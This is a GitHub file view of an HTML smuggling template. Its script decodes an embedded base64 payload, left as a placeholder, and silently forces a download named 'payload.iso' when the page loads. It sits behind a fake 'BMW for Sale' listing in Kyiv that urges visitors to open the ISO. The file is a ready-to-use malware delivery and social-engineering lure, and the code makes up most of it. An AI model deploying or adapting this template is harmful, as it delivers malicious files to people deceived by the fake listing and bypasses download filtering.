-
Notifications
You must be signed in to change notification settings - Fork 7
/
Copy pathHTML Smuggling.html
42 lines (33 loc) · 1 KB
/
HTML Smuggling.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
var file = 'Your base64 string here';
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'payload.iso';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none;';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
<div class="container">
<h1>BMW for Sale</h1>
<hr>
<img class="bmw-logo" src="car.png" alt="BMW logo">
<hr>
<p> sale of a used BMW 5-series sedan located in Kyiv. </p>
<p>You can view the details and condition of the car through the images and iso file.</p>
</html>